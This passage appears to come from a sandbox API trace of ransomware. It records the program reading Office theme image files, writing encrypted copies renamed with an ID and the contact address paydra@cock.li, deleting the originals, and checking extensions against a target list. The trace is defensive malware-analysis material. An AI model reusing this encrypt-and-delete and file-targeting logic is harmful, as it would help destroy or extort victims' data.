nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x510, lpOverlapped=0x0) returned 1 [0044.884] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.884] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.884] SetEndOfFile (hFile=0x210) returned 1 [0044.884] CloseHandle (hObject=0x210) returned 1 [0044.884] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.884] SetEndOfFile (hFile=0x21c) returned 1 [0044.885] CloseHandle (hObject=0x21c) returned 1 [0044.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.885] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0044.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.885] lstrlenW (lpString=".doc") returned 4 [0044.885] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.885] lstrlenW (lpString=".docx") returned 5 [0044.885] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.885] lstrlenW (lpString=".pdf") returned 4 [0044.886] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.886] lstrlenW (lpString=".xls") returned 4 [0044.886] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.886] lstrlenW (lpString=".xlsx") returned 5 [0044.886] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.886] lstrlenW (lpString=".ppt") returned 4 [0044.886] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.886] lstrlenW (lpString=".zip") returned 4 [0044.886] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.886] lstrlenW (lpString=".rar") returned 4 [0044.886] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.886] lstrlenW (lpString=".bz2") returned 4 [0044.886] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.886] lstrlenW (lpString=".7z") returned 3 [0044.886] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.886] lstrlenW (lpString=".dbf") returned 4 [0044.886] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.886] lstrlenW (lpString=".1cd") returned 4 [0044.886] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.886] lstrlenW (lpString=".jpg") returned 4 [0044.886] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.886] lstrlenW (lpString=".doc") returned 4 [0044.886] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.887] lstrlenW (lpString=".docx") returned 5 [0044.887] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.887] lstrlenW (lpString=".pdf") returned 4 [0044.887] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.887] lstrlenW (lpString=".xls") returned 4 [0044.887] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.887] lstrlenW (lpString=".xlsx") returned 5 [0044.887] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.887] lstrlenW (lpString=".ppt") returned 4 [0044.887] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.887] lstrlenW (lpString=".zip") returned 4 [0044.887] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.887] lstrlenW (lpString=".rar") returned 4 [0044.887] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.887] lstrlenW (lpString=".bz2") returned 4 [0044.887] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.887] lstrlenW (lpString=".7z") returned 3 [0044.887] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.887] lstrlenW (lpString=".dbf") returned 4 [0044.887] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.887] lstrlenW (lpString=".1cd") returned 4 [0044.887] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0044.887] lstrlenW (lpString=".jpg") returned 4 [0044.887] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.888] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.888] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.888] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=20575) returned 1 [0044.888] CloseHandle (hObject=0x21c) returned 1 [0044.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0044.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.888] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.888] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.889] GetLastError () returned 0x0 [0044.889] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x505f, lpOverlapped=0x0) returned 1 [0045.174] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0045.175] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.175] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.176] SetEndOfFile (hFile=0x210) returned 1 [0045.176] CloseHandle (hObject=0x210) returned 1 [0045.176] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.176] SetEndOfFile (hFile=0x21c) returned 1 [0045.177] CloseHandle (hObject=0x21c) returned 1 [0045.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.177] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0045.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.178] lstrlenW (lpString=".doc") returned 4 [0045.178] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.178] lstrlenW (lpString=".docx") returned 5 [0045.178] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.178] lstrlenW (lpString=".pdf") returned 4 [0045.178] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.178] lstrlenW (lpString=".xls") returned 4 [0045.178] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.178] lstrlenW (lpString=".xlsx") returned 5 [0045.178] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.178] lstrlenW (lpString=".ppt") returned 4 [0045.178] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.178] lstrlenW (lpString=".zip") returned 4 [0045.178] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.178] lstrlenW (lpString=".rar") returned 4 [0045.178] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.178] lstrlenW (lpString=".bz2") returned 4 [0045.178] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.178] lstrlenW (lpString=".7z") returned 3 [0045.178] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.178] lstrlenW (lpString=".dbf") returned 4 [0045.178] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.178] lstrlenW (lpString=".1cd") returned 4 [0045.178] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.179] lstrlenW (lpString=".jpg") returned 4 [0045.179] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.179] lstrlenW (lpString=".doc") returned 4 [0045.179] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.179] lstrlenW (lpString=".docx") returned 5 [0045.179] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.179] lstrlenW (lpString=".pdf") returned 4 [0045.179] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.179] lstrlenW (lpString=".xls") returned 4 [0045.179] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.179] lstrlenW (lpString=".xlsx") returned 5 [0045.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.179] lstrlenW (lpString=".ppt") returned 4 [0045.179] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.179] lstrlenW (lpString=".zip") returned 4 [0045.179] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.179] lstrlenW (lpString=".rar") returned 4 [0045.179] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.179] lstrlenW (lpString=".bz2") returned 4 [0045.179] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.179] lstrlenW (lpString=".7z") returned 3 [0045.179] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.179] lstrlenW (lpString=".dbf") returned 4 [0045.179] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.179] lstrlenW (lpString=".1cd") returned 4 [0045.179] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0045.180] lstrlenW (lpString=".jpg") returned 4 [0045.180] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.180] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0045.180] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.180] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1453) returned 1 [0045.180] CloseHandle (hObject=0x21c) returned 1 [0045.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0045.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.181] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.181] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0045.748] GetLastError () returned 0x0 [0045.748] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5ad, lpOverlapped=0x0) returned 1 [0045.786] WriteFile (in: hFile=0x220, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0045.787] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.787] WriteFile (in: hFile=0x220, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.787] SetEndOfFile (hFile=0x220) returned 1 [0045.787] CloseHandle (hObject=0x220) returned 1 [0045.787] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.787] SetEndOfFile (hFile=0x21c) returned 1 [0045.788] CloseHandle (hObject=0x21c) returned 1 [0045.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.788] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0045.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.788] lstrlenW (lpString=".doc") returned 4 [0045.788] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.788] lstrlenW (lpString=".docx") returned 5 [0045.788] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.788] lstrlenW (lpString=".pdf") returned 4 [0045.788] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.788] lstrlenW (lpString=".xls") returned 4 [0045.788] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.788] lstrlenW (lpString=".xlsx") returned 5 [0045.789] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.789] lstrlenW (lpString=".ppt") returned 4 [0045.789] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.789] lstrlenW (lpString=".zip") returned 4 [0045.789] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.789] lstrlenW (lpString=".rar") returned 4 [0045.789] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.789] lstrlenW (lpString=".bz2") returned 4 [0045.789] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.789] lstrlenW (lpString=".7z") returned 3 [0045.789] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.789] lstrlenW (lpString=".dbf") returned 4 [0045.789] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.789] lstrlenW (lpString=".1cd") returned 4 [0045.789] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.789] lstrlenW (lpString=".jpg") returned 4 [0045.789] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.789] lstrlenW (lpString=".doc") returned 4 [0045.789] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.789] lstrlenW (lpString=".docx") returned 5 [0045.789] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.789] lstrlenW (lpString=".pdf") returned 4 [0045.789] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.789] lstrlenW (lpString=".xls") returned 4 [0045.789] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.790] lstrlenW (lpString=".xlsx") returned 5 [0045.790] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.790] lstrlenW (lpString=".ppt") returned 4 [0045.790] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.790] lstrlenW (lpString=".zip") returned 4 [0045.790] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.790] lstrlenW (lpString=".rar") returned 4 [0045.790] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.790] lstrlenW (lpString=".bz2") returned 4 [0045.790] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.790] lstrlenW (lpString=".7z") returned 3 [0045.790] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.790] lstrlenW (lpString=".dbf") returned 4 [0045.790] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.790] lstrlenW (lpString=".1cd") returned 4 [0045.790] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0045.790] lstrlenW (lpString=".jpg") returned 4 [0045.790] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.790] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0045.790] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.791] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2552) returned 1 [0045.791] CloseHandle (hObject=0x21c) returned 1 [0045.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0045.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.791] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.791] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.793] GetLastError () returned 0x0 [0045.793] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0045.794] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0045.795] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, 